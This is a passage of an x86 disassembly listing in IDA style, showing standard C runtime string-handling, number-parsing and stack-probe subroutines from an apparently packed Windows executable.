; CODE XREF: sub_41BFB0+23j ; sub_41BFB0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41BFDC lea edi, [esi-1] loc_41BFF4: ; CODE XREF: sub_41BFB0+63j mov ah, [ecx+2] test ah, ah jz short loc_41C023 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41BFC8 mov al, [ecx+3] test al, al jz short loc_41C023 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41BFF4 jmp short loc_41BFC8 ; --------------------------------------------------------------------------- loc_41C017: ; CODE XREF: sub_41BFB0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C656 ; --------------------------------------------------------------------------- loc_41C023: ; CODE XREF: sub_41BFB0+49j ; sub_41BFB0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41C02A: ; CODE XREF: sub_41BFB0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41BFB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C030 proc near ; CODE XREF: .nsp0:00403743p ; .nsp0:00403774p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F504 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C06F mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C07C ; --------------------------------------------------------------------------- loc_41C06F: ; CODE XREF: sub_41C030+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F3EF pop ecx pop ecx loc_41C07C: ; CODE XREF: sub_41C030+3Dj mov eax, esi pop esi leave retn sub_41C030 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C081 proc near ; CODE XREF: .nsp0:00403C9Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41B890 cmp eax, 1 pop ecx jb short loc_41C0BC cmp byte ptr [ebx+1], 3Ah jnz short loc_41C0BC mov esi, [ebp+arg_4] test esi, esi jz short loc_41C0B8 push 2 push ebx push esi call sub_4200EE add esp, 0Ch and byte ptr [esi+2], 0 loc_41C0B8: ; CODE XREF: sub_41C081+25j inc ebx inc ebx jmp short loc_41C0C6 ; --------------------------------------------------------------------------- loc_41C0BC: ; CODE XREF: sub_41C081+18j ; sub_41C081+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41C0C6 and byte ptr [eax], 0 loc_41C0C6: ; CODE XREF: sub_41C081+39j ; sub_41C081+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41C13E loc_41C0D9: ; CODE XREF: sub_41C081+87j mov cl, [eax] movzx edx, cl test byte_4E2A61[edx], 4 jz short loc_41C0EA inc eax jmp short loc_41C104 ; --------------------------------------------------------------------------- loc_41C0EA: ; CODE XREF: sub_41C081+64j cmp cl, 2Fh jz short loc_41C0FE cmp cl, 5Ch jz short loc_41C0FE cmp cl, 2Eh jnz short loc_41C104 mov [ebp+var_4], eax jmp short loc_41C104 ; --------------------------------------------------------------------------- loc_41C0FE: ; CODE XREF: sub_41C081+6Cj ; sub_41C081+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41C104: ; CODE XREF: sub_41C081+67j ; sub_41C081+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41C0D9 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41C13E cmp [ebp+arg_8], 0 jz short loc_41C139 sub edi, ebx cmp edi, esi jb short loc_41C122 mov edi, esi loc_41C122: ; CODE XREF: sub_41C081+9Dj push edi push ebx push [ebp+arg_8] call sub_4200EE mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C139: ; CODE XREF: sub_41C081+97j mov ebx, [ebp+arg_4] jmp short loc_41C148 ; --------------------------------------------------------------------------- loc_41C13E: ; CODE XREF: sub_41C081+56j ; sub_41C081+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41C148 and byte ptr [ecx], 0 loc_41C148: ; CODE XREF: sub_41C081+BBj ; sub_41C081+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41C19B cmp edi, ebx jb short loc_41C19B cmp [ebp+arg_C], 0 jz short loc_41C178 sub edi, ebx cmp edi, esi jb short loc_41C161 mov edi, esi loc_41C161: ; CODE XREF: sub_41C081+DCj push edi push ebx push [ebp+arg_C] call sub_4200EE mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C178: ; CODE XREF: sub_41C081+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41C1C3 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41C188 mov esi, eax loc_41C188: ; CODE XREF: sub_41C081+103j push esi push [ebp+var_4] push edi call sub_4200EE add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41C1C3 ; --------------------------------------------------------------------------- loc_41C19B: ; CODE XREF: sub_41C081+CCj ; sub_41C081+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41C1B9 sub eax, ebx cmp eax, esi jnb short loc_41C1AA mov esi, eax loc_41C1AA: ; CODE XREF: sub_41C081+125j push esi push ebx push edi call sub_4200EE add esp, 0Ch and byte ptr [esi+edi], 0 loc_41C1B9: ; CODE XREF: sub_41C081+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41C1C3 and byte ptr [eax], 0 loc_41C1C3: ; CODE XREF: sub_41C081+FCj ; sub_41C081+118j ... pop edi pop esi pop ebx leave retn sub_41C081 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C1D0 proc near ; CODE XREF: sub_401A09+8p ; .nsp0:00401B7Cp ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41C1F0 loc_41C1DC: ; CODE XREF: sub_41C1D0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41C1DC loc_41C1F0: ; CODE XREF: sub_41C1D0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41C1D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C1FF proc near ; CODE XREF: .nsp0:00408F88p ; .nsp0:00408FB7p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41C213 xor eax, eax jmp short loc_41C249 ; --------------------------------------------------------------------------- loc_41C213: ; CODE XREF: sub_41C1FF+Ej dec [ebp+arg_4] push esi jz short loc_41C243 mov esi, [ebp+arg_8] loc_41C21C: ; CODE XREF: sub_41C1FF+42j dec dword ptr [esi+4] js short loc_41C22B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41C232 ; --------------------------------------------------------------------------- loc_41C22B: ; CODE XREF: sub_41C1FF+20j push esi call sub_41EEA8 pop ecx loc_41C232: ; CODE XREF: sub_41C1FF+2Aj cmp eax, 0FFFFFFFFh jz short loc_41C24D mov [edi], al inc edi cmp al, 0Ah jz short loc_41C243 dec [ebp+arg_4] jnz short loc_41C21C loc_41C243: ; CODE XREF: sub_41C1FF+18j ; sub_41C1FF+3Dj ... and byte ptr [edi], 0 loc_41C246: ; CODE XREF: sub_41C1FF+55j mov eax, ebx pop esi loc_41C249: ; CODE XREF: sub_41C1FF+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41C24D: ; CODE XREF: sub_41C1FF+36j cmp edi, [ebp+arg_0] jnz short loc_41C243 xor ebx, ebx jmp short loc_41C246 sub_41C1FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C256 proc near ; CODE XREF: sub_41C45E+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41C26E: ; CODE XREF: sub_41C256+46j cmp dword_44276C, 1 jle short loc_41C286 movzx eax, bl push 8 push eax call sub_41F37A pop ecx pop ecx jmp short loc_41C295 ; --------------------------------------------------------------------------- loc_41C286: ; CODE XREF: sub_41C256+1Fj mov ecx, off_442560 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41C295: ; CODE XREF: sub_41C256+2Ej test eax, eax jz short loc_41C29E mov bl, [esi] inc esi jmp short loc_41C26E ; --------------------------------------------------------------------------- loc_41C29E: ; CODE XREF: sub_41C256+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41C2AC or [ebp+arg_C], 2 jmp short loc_41C2B1 ; --------------------------------------------------------------------------- loc_41C2AC: ; CODE XREF: sub_41C256+4Ej cmp bl, 2Bh jnz short loc_41C2B7 loc_41C2B1: ; CODE XREF: sub_41C256+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41C2B7: ; CODE XREF: sub_41C256+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41C44E cmp eax, 1 jz loc_41C44E cmp eax, 24h jg loc_41C44E push 10h test eax, eax pop ecx jnz short loc_41C2FF cmp bl, 30h jz short loc_41C2E9 mov [ebp+arg_8], 0Ah jmp short loc_41C31B ; --------------------------------------------------------------------------- loc_41C2E9: ; CODE XREF: sub_41C256+88j mov al, [esi] cmp al, 78h jz short loc_41C2FC cmp al, 58h jz short loc_41C2FC mov [ebp+arg_8], 8 jmp short loc_41C31B ; --------------------------------------------------------------------------- loc_41C2FC: ; CODE XREF: sub_41C256+97j ; sub_41C256+9Bj mov [ebp+arg_8], ecx loc_41C2FF: ; CODE XREF: sub_41C256+83j cmp [ebp+arg_8], ecx jnz short loc_41C31B cmp bl, 30h jnz short loc_41C31B mov al, [esi] cmp al, 78h jz short loc_41C313 cmp al, 58h jnz short loc_41C31B loc_41C313: ; CODE XREF: sub_41C256+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41C31B: ; CODE XREF: sub_41C256+91j ; sub_41C256+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41C32B: ; CODE XREF: sub_41C256+16Cj cmp dword_44276C, 1 movzx esi, bl jle short loc_41C343 push 4 push esi call sub_41F37A pop ecx pop ecx jmp short loc_41C34E ; --------------------------------------------------------------------------- loc_41C343: ; CODE XREF: sub_41C256+DFj mov eax, off_442560 mov al, [eax+esi*2] and eax, 4 loc_41C34E: ; CODE XREF: sub_41C256+EBj test eax, eax jz short loc_41C35A movsx ecx, bl sub ecx, 30h jmp short loc_41C38C ; --------------------------------------------------------------------------- loc_41C35A: ; CODE XREF: sub_41C256+FAj cmp dword_44276C, 1 jle short loc_41C36E push edi push esi call sub_41F37A pop ecx pop ecx jmp short loc_41C379 ; --------------------------------------------------------------------------- loc_41C36E: ; CODE XREF: sub_41C256+10Bj mov eax, off_442560 mov ax, [eax+esi*2] and eax, edi loc_41C379: ; CODE XREF: sub_41C256+116j test eax, eax jz short loc_41C3C7 movsx eax, bl push eax call sub_420178 pop ecx mov ecx, eax sub ecx, 37h loc_41C38C: ; CODE XREF: sub_41C256+102j cmp ecx, [ebp+arg_8] jnb short loc_41C3C7 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41C3B1 jnz short loc_41C3AB or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41C3B1 loc_41C3AB: ; CODE XREF: sub_41C256+147j or [ebp+arg_C], 4 jmp short loc_41C3BA ; --------------------------------------------------------------------------- loc_41C3B1: ; CODE XREF: sub_41C256+145j ; sub_41C256+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41C3BA: ; CODE XREF: sub_41C256+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41C32B ; --------------------------------------------------------------------------- loc_41C3C7: ; CODE XREF: sub_41C256+125j ; sub_41C256+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41C3E5 test edx, edx jz short loc_41C3DF mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41C3DF: ; CODE XREF: sub_41C256+181j and [ebp+var_8], 0 jmp short loc_41C432 ; --------------------------------------------------------------------------- loc_41C3E5: ; CODE XREF: sub_41C256+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41C40B test cl, 1 jnz short loc_41C432 and ecx, 2 jz short loc_41C402 cmp [ebp+var_8], 80000000h ja short loc_41C40B loc_41C402: ; CODE XREF: sub_41C256+1A1j test ecx, ecx jnz short loc_41C432 cmp [ebp+var_8], eax jbe short loc_41C432 loc_41C40B: ; CODE XREF: sub_41C256+197j ; sub_41C256+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4E14F8, 22h jz short loc_41C421 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41C432 ; --------------------------------------------------------------------------- loc_41C421: ; CODE XREF: sub_41C256+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41C432: ; CODE XREF: sub_41C256+18Dj ; sub_41C256+19Cj ... test edx, edx jz short loc_41C43B mov eax, [ebp+var_4] mov [edx], eax loc_41C43B: ; CODE XREF: sub_41C256+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41C449 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41C449: ; CODE XREF: sub_41C256+1E9j mov eax, [ebp+var_8] jmp short loc_41C459 ; --------------------------------------------------------------------------- loc_41C44E: ; CODE XREF: sub_41C256+66j ; sub_41C256+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41C457 mov [eax], edi loc_41C457: ; CODE XREF: sub_41C256+1FDj xor eax, eax loc_41C459: ; CODE XREF: sub_41C256+1F6j pop edi pop esi pop ebx leave retn sub_41C256 endp ; =============== S U B R O U T I N E ======================================= sub_41C45E proc near ; CODE XREF: .nsp0:00407C28p ; sub_40F168+4A0p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C256 add esp, 10h retn sub_41C45E endp ; =============== S U B R O U T I N E ======================================= sub_41C475 proc near ; CODE XREF: .nsp0:004073E3p arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 0B40000h pop ebp test eax, eax jnz short loc_41C48B call dword_42708C ; RtlGetLastWin32Error jmp short loc_41C48D ; --------------------------------------------------------------------------- loc_41C48B: ; CODE XREF: sub_41C475+Cj xor eax, eax loc_41C48D: ; CODE XREF: sub_41C475+14j test eax, eax jz short loc_41C49C push eax call sub_420244 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41C49C: ; CODE XREF: sub_41C475+1Aj xor eax, eax retn sub_41C475 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C49F proc near ; CODE XREF: .nsp0:00407338p ; .nsp0:004122A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_4202AB mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F504 push [ebp+arg_0] mov edi, eax push esi call sub_420338 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41C49F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C4E0 proc near ; CODE XREF: .nsp0:0040394Fp ; .nsp0:0040396Ep ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41C501 xor eax, eax jmp short loc_41C503 ; --------------------------------------------------------------------------- loc_41C501: ; CODE XREF: sub_41C4E0+1Bj mov eax, edi loc_41C503: ; CODE XREF: sub_41C4E0+1Fj cld pop edi leave retn sub_41C4E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C510 proc near ; CODE XREF: .nsp0:00402372p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41C541 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41C53F jz short loc_41C541 dec ecx dec ecx loc_41C53F: ; CODE XREF: sub_41C510+29j not ecx loc_41C541: ; CODE XREF: sub_41C510+9j ; sub_41C510+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41C510 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C550 proc near ; CODE XREF: .nsp0:00401F49p ; .nsp0:00404B17p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C5C1 sub_41C550 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C560 proc near ; CODE XREF: .nsp0:00401F55p ; .nsp0:00409016p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C57C loc_41C56D: ; CODE XREF: sub_41C560+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41C5AF test ecx, 3 jnz short loc_41C56D loc_41C57C: ; CODE XREF: sub_41C560+Bj ; sub_41C560+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C57C mov eax, [ecx-4] test al, al jz short loc_41C5BE test ah, ah jz short loc_41C5B9 test eax, 0FF0000h jz short loc_41C5B4 test eax, 0FF000000h jz short loc_41C5AF jmp short loc_41C57C ; --------------------------------------------------------------------------- loc_41C5AF: ; CODE XREF: sub_41C560+12j ; sub_41C560+4Bj lea edi, [ecx-1] jmp short loc_41C5C1 ; --------------------------------------------------------------------------- loc_41C5B4: ; CODE XREF: sub_41C560+44j lea edi, [ecx-2] jmp short loc_41C5C1 ; --------------------------------------------------------------------------- loc_41C5B9: ; CODE XREF: sub_41C560+3Dj lea edi, [ecx-3] jmp short loc_41C5C1 ; --------------------------------------------------------------------------- loc_41C5BE: ; CODE XREF: sub_41C560+39j lea edi, [ecx-4] loc_41C5C1: ; CODE XREF: sub_41C550+5j ; sub_41C560+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C5E6 loc_41C5CD: ; CODE XREF: sub_41C560+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41C638 mov [edi], dl inc edi test ecx, 3 jnz short loc_41C5CD jmp short loc_41C5E6 ; --------------------------------------------------------------------------- loc_41C5E1: ; CODE XREF: sub_41C560+9Ej ; sub_41C560+B8j mov [edi], edx add edi, 4 loc_41C5E6: ; CODE XREF: sub_41C560+6Bj ; sub_41C560+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C5E1 test dl, dl jz short loc_41C638 test dh, dh jz short loc_41C62F test edx, 0FF0000h jz short loc_41C622 test edx, 0FF000000h jz short loc_41C61A jmp short loc_41C5E1 ; --------------------------------------------------------------------------- loc_41C61A: ; CODE XREF: sub_41C560+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C622: ; CODE XREF: sub_41C560+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C62F: ; CODE XREF: sub_41C560+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C638: ; CODE XREF: sub_41C560+72j ; sub_41C560+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C560 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C650 loc_41C640: ; CODE XREF: sub_41C650+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C650 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C650 proc near ; CODE XREF: .nsp0:00401F33p ; .nsp0:00401FC9p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C640 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C656: ; CODE XREF: sub_41BFB0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C67B loc_41C668: ; CODE XREF: sub_41C650+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41C640 test cl, cl jz short loc_41C6C4 test edx, 3 jnz short loc_41C668 loc_41C67B: ; CODE XREF: sub_41C650+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C686: ; CODE XREF: sub_41C650+61j ; sub_41C650+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C6C8 and eax, 81010100h jz short loc_41C686 and eax, 1010100h jnz short loc_41C6C2 and esi, 80000000h jnz short loc_41C686 loc_41C6C2: ; CODE XREF: sub_41C650+68j ; sub_41C650+81j ... pop esi pop edi loc_41C6C4: ; CODE XREF: sub_41C650+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C6C8: ; CODE XREF: sub_41C650+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C705 test al, al jz short loc_41C6C2 cmp ah, bl jz short loc_41C6FE test ah, ah jz short loc_41C6C2 shr eax, 10h cmp al, bl jz short loc_41C6F7 test al, al jz short loc_41C6C2 cmp ah, bl jz short loc_41C6F0 test ah, ah jz short loc_41C6C2 jmp short loc_41C686 ; --------------------------------------------------------------------------- loc_41C6F0: ; CODE XREF: sub_41C650+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C6F7: ; CODE XREF: sub_41C650+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C6FE: ; CODE XREF: sub_41C650+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C705: ; CODE XREF: sub_41C650+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C650 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C710 proc near ; CODE XREF: .nsp0:00401D2Fp ; .nsp0:00401D7Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C75C loc_41C720: ; CODE XREF: sub_41C710+3Cj ; sub_41C710+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C754 or al, al jz short loc_41C750 cmp ah, [ecx+1] jnz short loc_41C754 or ah, ah jz short loc_41C750 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C754 or al, al jz short loc_41C750 cmp ah, [ecx+3] jnz short loc_41C754 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C720 mov edi, edi loc_41C750: ; CODE XREF: sub_41C710+18j ; sub_41C710+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C754: ; CODE XREF: sub_41C710+14j ; sub_41C710+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C75C: ; CODE XREF: sub_41C710+Ej test edx, 1 jz short loc_41C778 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C754 inc ecx or al, al jz short loc_41C750 test edx, 2 jz short loc_41C720 loc_41C778: ; CODE XREF: sub_41C710+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C754 or al, al jz short loc_41C750 cmp ah, [ecx+1] jnz short loc_41C754 or ah, ah jz short loc_41C750 add ecx, 2 jmp short loc_41C720 sub_41C710 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C794 proc near ; CODE XREF: .nsp0:00401C29p ; .nsp0:00401C49p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C7AD: ; CODE XREF: sub_41C794+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C7AD mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C7D5 mov edx, dword_4E1544 loc_41C7D5: ; CODE XREF: sub_41C794+39j ; sub_41C794+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C7F5 test al, al jz short loc_41C7F5 inc edx jmp short loc_41C7D5 ; --------------------------------------------------------------------------- loc_41C7F5: ; CODE XREF: sub_41C794+58j ; sub_41C794+5Cj mov ebx, edx loc_41C7F7: ; CODE XREF: sub_41C794+81j mov al, [edx] test al, al jz short loc_41C81B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C817 inc edx jmp short loc_41C7F7 ; --------------------------------------------------------------------------- loc_41C817: ; CODE XREF: sub_41C794+7Ej and byte ptr [edx], 0 inc edx loc_41C81B: ; CODE XREF: sub_41C794+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4E1544, edx and eax, ebx pop ebx leave retn sub_41C794 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C830 proc near ; CODE XREF: sub_40998C+1Cp ; sub_41581A+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F504 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C86E mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C87B ; --------------------------------------------------------------------------- loc_41C86E: ; CODE XREF: sub_41C830+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F3EF pop ecx pop ecx loc_41C87B: ; CODE XREF: sub_41C830+3Cj mov eax, esi pop esi leave retn sub_41C830 endp ; =============== S U B R O U T I N E ======================================= sub_41C880 proc near ; CODE XREF: sub_40AF44+46p ; sub_40B562+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C934 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C8AA loc_41C89B: ; CODE XREF: sub_41C880+28j mov al, [edi] inc edi test al, al jz short loc_41C8DB test edi, 3 jnz short loc_41C89B loc_41C8AA: ; CODE XREF: sub_41C880+19j ; sub_41C880+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C8AA mov eax, [edi-4] test al, al jz short loc_41C8E8 test ah, ah jz short loc_41C8E3 test eax, 0FF0000h jz short loc_41C8DE test eax, 0FF000000h jnz short loc_41C8AA loc_41C8DB: ; CODE XREF: sub_41C880+20j dec edi jmp short loc_41C8EB ; --------------------------------------------------------------------------- loc_41C8DE: ; CODE XREF: sub_41C880+52j sub edi, 2 jmp short loc_41C8EB ; 